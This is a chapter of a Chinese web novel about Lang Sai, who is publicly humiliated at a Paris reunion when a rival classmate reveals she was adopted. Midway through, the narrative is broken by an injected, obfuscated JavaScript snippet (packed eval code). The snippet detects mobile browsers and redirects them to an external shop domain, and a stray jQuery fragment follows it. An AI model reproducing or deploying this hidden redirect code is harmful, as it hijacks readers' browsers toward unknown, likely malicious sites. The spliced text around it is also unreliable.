最先看到郎赛的是萧艾荧,只是看到她帽下被剪短的头发时,有一瞬间的恍惚,随后站起来,朝门口的方向招了招手:
“郎赛!这里!”
酒馆人不多,其实郎赛一进来就看到她们了。
在座的都是她高中时的老同学。
她因为中考发挥失常,没考上最好的那所普高,郎华声觉得她给他丢了脸,所以一道“圣旨”把她送进了德森国际高中,让她高中毕业后就直接去国外自生自灭。
也是因此,她的高中同学,现在基本上都分散在国外各个城市念书。
只是在巴黎的,只有她、萧艾荧还有苏嘉逸。
至于夏西宁,因为雅思考试前看比安卡的强制爱小黄漫入了迷,马失前蹄没有过线,只好下一年重考。
夏西宁天天在她们的三人小群里哭嚎,唐和莎一边打趣她,一边帮她学英语。
虽然她和唐和莎都与国内的夏西宁有时差,但唐和莎不需要考虑生活费和学费,所以夏西宁的消息总是能秒回,而当郎赛看到消息时,她们早已经结束一轮打趣逗闹。
而她只能看一看那烟火燃烧后的灰烬。
其实就算她有空,她应该也插不进什么话。
郎赛这样想。
慢慢的,她在群里的话也就少了。
她扫了一眼卡座,发现苏嘉逸并没有到场时,松了一口气。
她当年,和苏嘉逸闹得并不愉快。
一落座,就一如既往地和所有人打招呼,温和又礼貌。
其他人也纷纷和她say着hi。
这时她才发现,在座的除了萧艾荧,基本还是高中同班的那些人,点到为止的关系。
于是整体的气氛仍旧如高中那样,她随意往不起眼的角落一坐,但男生吹捧她,女生拥簇她。
郎赛看了一眼身边女生身前没动过的mojto,想起来她酒精过敏,于是问服务员要了杯tapwater,放到了她的面前。
她感激的看了郎赛一眼,压低了声音道:“谢谢,你还记得呀。”
郎赛只是笑笑:“没事,但是酒精过敏你下次一定要主动说。”
女生连连点头,她还想说些什么,但是像高中三年的每一个日常一样,永远有人争着想和郎赛说话,很快她的存在就被湮没在人群中,于是抿了抿嘴不再说话,只是拿起那杯水小口地缀。
“郎赛,你怎么剪短发了?”
非常稀松平常的一问,却让郎赛笑容一僵,她手不自然地扯了一下冷帽,很快调整好了情绪:“一个朋友说,我适合短发。”
众人意味深长地“噫”了一声,郎赛便知道他们把这个“朋友”误会成苏嘉逸了。
余光察觉到萧艾荧因为这个误会,脸色有些不好,于是郎赛又补充了一句:“一个法国朋友。”
众人便扯开话题,像高中那会一样,开始有一句没一句地吹捧她。
“不过短发确实更适合你诶,显得更有气质了,而且好像更有辨识度一点,哦没有说你长发没有辨识度的意思哈哈哈。”
“好久不见了郎赛,群里也不见你说话,大小姐你不会忘了我们这些老同学吧?”
这话就是纯纯没话题硬找了,因为郎赛高中时就很少在班级群里说话,很多时候都是开了个群免打扰,看到艾特信息才会冒泡。
聊了几句,她觉得自己和他们格格不入,有些想走人了,只是今天毕竟是萧艾荧攒的局,郎赛肯定不能下她的面子,于是只好继续她不喜欢的周旋应付:“最近有点忙,所以不怎么看群。”
明眼人都能心知肚明的一句口水话,但偏偏就有人非要打破砂锅问到底,顺着话头调侃下去:“在忙什么呀?不会是看秀看展咖啡馆吧?大家都在欧洲,你可以约我们去呀,异国他乡的,郎大小姐只带着保镖逛多无聊啊?”
萧艾荧在一旁喝着酒,一言不发。
郎赛手指捏着手机,笑得优雅又得体:“没这么悠闲,我在工作呢。”
“不是吧,大小姐你还要找工作吗?难道你们学霸都是这种就算家财万贯也要努力上进的人吗?”立马就有人不可思议起来。
“们?”郎赛一愣,精准地捕捉到一个字眼,于是下意识一问,但是问完她就后悔了。
因为下一秒,她就听到了最不想听到的那个名字。
“对呀,艾荧说苏嘉逸就是一边上学,一边假期的时候去大公司实习的。”
闻言,有人便接话调侃起来:“哎哟,我还记得当年苏少为了追你,还特地和你选了一样的香水专业呢,只是可惜了你们学院每年只招12个学生,苏少只能去巴黎的学校咯。莫非他现在又为了追你,追到你实习的地方去了?哇塞这也太浪漫了吧,郎赛你不会还没答应人家吧?”
萧艾荧晃着手里的酒杯,听到他们的调侃时,脸色微变,拿起酒杯轻轻抿了一口,一瞬的功夫,又调整好,手指撑了一下沙发,身子坐正了一些。
但让她不爽的调侃还在继续:“真是羡慕你们这些真大佬,我听说新人调香师一般都是从调香师助理做起吧?苏嘉逸一个还没毕业的大学生居然进去就是独立调香师?这已经不是有钱就能做到的了吧?苏家在巴黎也这么有背景吗?又或者说……”
这人微微一笑,轻轻撞了下郎赛的手臂,这突如其来的亲密接触,让她有些微微不适应,对方的下一句话在她耳边轻轻浮动,带着暧昧的味道:“……是沾了郎赛你的光?”
一个空杯子被重重地放到桌上。
众人的视线被吸引过去,萧艾荧的朋友就在这时开了口:“什么呀,不是苏家在巴黎有背景,是我们艾荧在巴黎有背景!”
“哦?什么意思?”
那人微微一笑,故作高深道:“你们虽然不在法国,但在欧美圈留学,应该听说过Suckow吧?”
一提起这个名字,所有人都微微一愣,随后纷纷露出不可思议的模样:“ohmygod!Suckow吗?!”
这反应,看来是听说过了。
郎赛心里不禁微微感慨,不愧是上流圈风头最劲的贵公子,不愧是被法国媒体追捧为“巴黎盖茨比”的少爷,这影响力哟。
说话的人卖了个关子,随后微微一笑:“Suckow有个关系特别好的哥们,叫姜约西,他是我们艾荧的表哥哦!”
闻言,郎赛也微微偏头,有些不可思议地看了萧艾荧一眼。
姜约西是她表哥?
那怎么高中三年从来没听她提过?
按萧艾荧爱炫耀的性子,表哥如果是学校里的风云人物,应该逮着机会就要炫耀一番才对,怎么会守口如瓶整整三年呢?
萧艾荧听完后,只是笑笑:“是这样子,不过我和Suckow不太熟啦,只是我表哥和他关系比较好一点。”
有人嘴甜地接茬道:“现在不熟,但以后有的是机会熟啊!天哪艾荧你真是真人不露相,我高中和你交集不多还不知道,你表哥居然是姜约西啊!你居然还认识Suckow?我的天艾荧,你可以成为我的人脉吗?”
众人笑起来。
萧艾荧也跟着掩嘴笑了笑:“哪有那么夸张啦!”
“就是有这么夸张好伐!你表哥居然是姜约西诶!藏得真好,你也太低调了吧?没想到你家世居然这么好,关键是还认识Suckow,我听那些八卦说Suckow的社交圈可是出了名的难进诶。”
萧艾荧被捧得很开心,于是不自觉说了更多:“其实你们也认识Suckow的啦。”
众人面面相觑:“不会吧?我怎么不知道我还认识这种级别的人物啊?”
萧艾荧微微一笑:“Suckow也是德森国际的学生哦。”
众人隐隐约约猜到什么,再次露出不可思议的表情:“不会吧?”
“对,就是你们想的那个人。”萧艾荧露出一个意味深长的表情。
“天呐,高三那个顶顶有名、天天和姜约西混在一起的靳苏考,就是现在欧美圈大名鼎鼎的Suckow?”
“不然你以为我表哥为什么会和Suckow关系那么铁?”
众人纷纷一副“大佬竟在我身边”的震惊模样。
“我当年懵懂,只知道靳学长有个很牛逼的家世,但没想过这么牛逼。”
随后众人仿佛是打通了任督二脉一样,很多和八卦媒体报道的信息纷纷对上了账。
“怪不得有八卦杂志说Suckow有过一个英译过去的中文名……Suckow,苏考,居然是这样!”
一众人又对着萧艾荧拍了一会马屁,直到话题快要冷下去了,才又想到郎大小姐还在这里,于是又把话题拐到郎赛的身上。
毕竟在他们三年的高中生涯里,被郎赛天之骄女的光环笼罩了太久,对她的敬畏是刻在骨子里的,拍她的马屁也几乎成为了他们下意识的习惯。
至于靳苏考,反而离他们很远,而且就像外界传言的那样,靳苏考是可望不可即的存在,进他的圈子更是难如登天,想和他攀关系更是可能性为零。
倒是郎家大小姐的人脉,是他们现下能努努力攀一攀的。
他们这圈子就这样,利益产生社交,大学之后这种现象便更理所当然。
“对啦郎赛,你刚刚都没回答我的问题,苏嘉逸是不是真的追你追到公司去了?”
“我记得苏嘉逸去的是纪梵希吧?”
所有人的目光都朝她投来,露出期待又好奇的神情。
郎赛转着手机,张了张嘴巴,话还没说出口,就被身旁的人抢过了话头:“嘉逸是去了纪梵希啦,不过他最近和我说,学了一年香水,发现越学越无趣,他说当年年少轻狂跟着别人瞎选,结果发现是条歧途,所以他决定下学期转专业了,想和我一起念服装设计专业。”
卡座安静了一瞬间,在座的没有傻子,这话里的阴阳怪气谁都听懂了,只是没有人跟着附和。
毕竟他们现在得罪不起萧艾荧,但这不代表他们就想得罪郎家大小姐。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525899|203496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“至于郎赛嘛,她没去香水公司哦,我听人说她在做模特!”
萧艾荧看着她,声音甜美,笑容也甜美:“是不是啊,郎赛?”
但不知为何,郎赛却觉得这样甜美的笑容里,藏着一些让人不适的敌意。
她不知道为什么自己脑子短路了要来参加这场浮夸又幼稚的同学聚会。
萧艾荧说的虽然不全对,但也确实是一半的实话,所以郎赛还是附和地点了点头,和无数个曾经一样,并不在其他人面前下她的面子:“是,我在做模特。”
这个圈子,大家都是小有家世的人,所以面子格外重要、体面也尤其重要。
“面子为大”是所有人心知肚明的事情,也是所有人心照不宣下意识去遵守的规则,所以吹捧也好,马屁也好,哪怕是沉默,只要没有天大的仇,都不至于当面下了别人的面子。
她继续无聊地转着手机,想着找个什么借口离席。
这真的是很离谱的一天。
上了一天班,又被路易斯找麻烦就算了,结果下了班还要来参加这么个被马屁与炫耀填满的同学聚会。
她大概真的是脑子不正常了吧。
她今天真的很累了,只想回家睡大觉。
“模特吗?怪不得你穿搭风格和从前差好多诶。”
闻言,郎赛仍旧对着说话的那个女生微微一笑,以示客气与礼貌。
从前她的穿搭都是设计师搭好的,那风格自然也都是郎华声的品味——标准的优雅千金风。
永远勒紧头皮的高马尾、勒得她喘不过气来的束腰裙、塞不下多少东西的手提包,以及,总是磨破她脚后跟的定制新鞋。
其实裙子可以量身定做,新鞋可以换材质,但对于郎家给的东西,她习惯了接受,而不是说“不”。
郎华声也不是个喜欢听“不”的人。
她在郎家如履薄冰、小心翼翼地活着,仰人鼻息、寄人篱下十几年。
从一开始的庆幸到失望,再到最后的麻木,没有人比她更清楚仰人鼻息、寄人篱下、想逃又逃不掉的生活是什么样子。
所以来了巴黎后,她把那些东西通通都丢弃。
后来去兼职模特后,穿衣风格也跟着被带过去,再结合一下自身的穿搭想法,最后穿搭风格就演变成了他们现在看到的样子。
而对于这些前因后果,她也只是宛然一笑懒得多做解释,毕竟也不会真的有人想听,倒不如大家都简单点。
吹捧仍在继续:“不过郎赛确实很适合做模特耶,长得高,气质也好……但是郎赛,你怎么突然去做模特了?你不是香水专业的吗?难道是因为模特行业来钱快吗?还是有舞台梦啊?”
“瞎说什么?郎赛可是郎家大小姐,怎么可能会缺钱?”
郎赛张了张口,只是再次被身旁的萧艾荧抢了话,貌似对他们的话感到生气似的,嗔怪道:“哎呀你们不要再提这个了好不好?”
郎赛心里率先咯噔了一下,随后视线缓缓看向萧艾荧。
她有一种不好的预感……
还没意识到自己说错什么的人一时有些摸不着头脑,于是有些懵:“怎、怎么了嘛?”
萧艾荧看着那人,语气里的嗔怪愈发明显起来:“我刚刚就想说了,你们不要再说郎家了啦!你怎么尽往赛赛伤口上撒盐啊?”
那人还是没有懂她的意思,只是脸上有些挂不住的尴尬。
可郎赛明白了,脸色开始微微发白,却已经无力阻止。
萧艾荧的朋友在这个时候,适时地咳了一声,看了一眼郎赛渐渐变得糟糕的脸色,接腔道:“郎赛她……不是郎家的亲生女儿啦,是被领养的……”
说到最后,音量也跟着减弱。
郎赛转手机的动作停了一瞬,随后继续转着。
而整个卡座一下子鸦雀无声。
这样的豪门秘辛,无疑是对被吹捧者一记响亮的耳光。
什么仇什么怨啊,要这样让人下不来台……
有人闻到了硝烟的味道。
二楼,原本躺在卡座里玩手机的梅酒冬,听着从下面飘上来的对话,越听越觉得不对劲,最后也察觉到了气氛的一丝诡异,她放下手机,缓缓坐起来。
鸦雀无声间,萧艾荧的声音又慢慢的响起,带着一丝甜美的残忍,回荡在每一个人的耳边:
“而且啊,你们又不是不知道郎叔叔和白阿姨离婚的事情,当时离婚官司闹得多大啊?为了抢女儿的抚养权,两个人甚至在法院大打出手,这事甚至上了同城热搜……”
她甜腻的嗓音轻轻落下,却在郎赛的脸上留下一记重重的巴掌。
每个人都安静地坐着,所有人都听到了这无声却有力的巴掌声,视线不住地在萧艾荧和郎赛之间流转。
有人在看好戏,有人为郎赛捏了一把汗,却没有人站出来阻止这个话题。
“当然咯……”萧艾荧轻轻一笑。
“争的是小女儿的抚养权,和郎赛可没什么关系哦。”